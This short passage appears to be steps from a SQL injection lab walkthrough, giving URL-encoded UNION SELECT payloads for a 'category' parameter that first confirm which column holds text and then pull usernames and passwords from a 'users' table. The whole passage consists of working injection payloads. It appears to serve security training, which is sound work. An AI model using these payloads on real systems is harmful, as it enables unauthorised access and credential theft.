- Verify that the query is returning two columns, only one of which contain text, using a payload like the following in the
categoryparameter:
'+UNION+SELECT+NULL,'abc'--- Retrieve the contents of the
userstable:'+UNION+SELECT+NULL,username||'~'||password+FROM+users--